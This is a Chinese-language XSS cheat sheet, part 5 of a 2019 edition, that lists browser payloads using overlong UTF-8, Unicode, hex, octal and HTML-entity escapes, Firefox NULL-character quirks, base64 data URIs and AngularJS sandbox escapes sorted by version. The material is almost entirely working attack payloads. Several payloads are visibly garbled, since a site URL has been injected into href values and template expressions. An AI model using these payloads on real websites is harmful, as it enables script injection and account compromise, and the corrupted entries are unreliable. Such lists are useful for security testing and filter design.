跨站脚本(XSS)备忘单-2019版 (5)

超长UTF-8

%C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script> %F0%80%80%BCscript>alert(1)</script> %F8%80%80%80%BCscript>alert(1)</script> %FC%80%80%80%80%BCscript>alert(1)</script>

Unicode转义

<script>\u0061lert(1)</script>

Unicode转义ES6样式

<script>\u{61}lert(1)</script>

Unicode转义ES6样式零填充

<script>\u{0000000061}lert(1)</script>

十六进制编码JavaScript转义

<script>eval('\x61lert(1)')</script>

八进制编码

<script>eval('\141lert(1)')</script> <script>eval('alert(\061)')</script> <script>eval('alert(\61)')</script>

带有可选分号的十进制编码

<a href="&#106;avascript:alert(1)">XSS</a><a href="&#106avascript:alert(1)">XSS</a>

带有HTML编码的SVG脚本

<svg><script>&#97;lert(1)</script></svg> <svg><script>&#x61;lert(1)</script></svg> <svg><script>alert&NewLine;(1)</script></svg> <svg><script>x="&quot;,alert(1)//";</script></svg>

带填充零的十进制编码

<a href="&#0000106avascript:alert(1)">XSS</a>

十六进制编码实体

<a href="&#x6a;avascript:alert(1)">XSS</a>

如果下一个字符不是a-f0-9,则不使用分号的十六进制编码

<a href="j&#x61vascript:alert(1)">XSS</a> <a href="&#x6a avascript:alert(1)">XSS</a> <a href="&#x6a avascript:alert(1)">XSS</a>

带填充零的十六进制编码

<a href="&#x0000006a;avascript:alert(1)">XSS</a>

十六进制编码不区分大小写

<a href="&#X6A;avascript:alert(1)">XSS</a>

HTML实体

<a href="http://www.likecs.com/javascript&colon;alert(1)">XSS</a> <a href="http://www.likecs.com/java&Tab;script:alert(1)">XSS</a> <a href="http://www.likecs.com/java&NewLine;script:alert(1)">XSS</a> <a href="http://www.likecs.com/javascript&colon;alert&lpar;1&rpar;">XSS</a>

网址编码

<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

HTML实体和URL编码

<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a> 混淆

Firefox在&之后允许NULL

<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>

Firefox允许在命名实体内使用NULL

<a href="http://www.likecs.com/javascript&colon;alert(1)">Firefox</a>

Firefox在开头的注释中允许使用NULL字符

<!-- ><img title="--><iframe/onload=alert(1)>"> --> <!-- ><img title="--><iframe/onload=alert(1)>"> -->

带有base64的脚本src中的数据协议

<script src=http://www.likecs.com/data:text/javascript;base64,YWxlcnQoMSk=></script> 客户端模板注入

AngularJS沙箱逃逸

版本:1.0.1-1.1.5

{{constructor.constructor('alert(1)')()}}

版本:1.0.1-1.1.5(较短)

{{$on.constructor('alert(1)')()}}

版本:1.2.0-1.2.1

{{a=http://www.likecs.com/'constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

版本:1.2.2-1.2.5

{{{}.")));alert(1)//"}}

版本:1.2.6-1.2.18

{{(_=http://www.likecs.com/''.sub).call.call({}[$=http://www.likecs.com/'constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

版本:1.2.19-1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

版本:1.2.24-1.2.29

{{{}.")));alert(1)//"}}

版本:1.2.27-1.2.29/1.3.0-1.3.20

{{{}.")));alert(1)//"}}

版本:1.3.0

{{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )));}}

版本:1.3.3-1.3.18

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}

版本:1.3.19

{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}

版本:1.3.20

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

版本:1.4.0-1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=http://www.likecs.com/1} } };alert(1)//');}}

版本:1.5.0-1.5.8

{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyfysd.html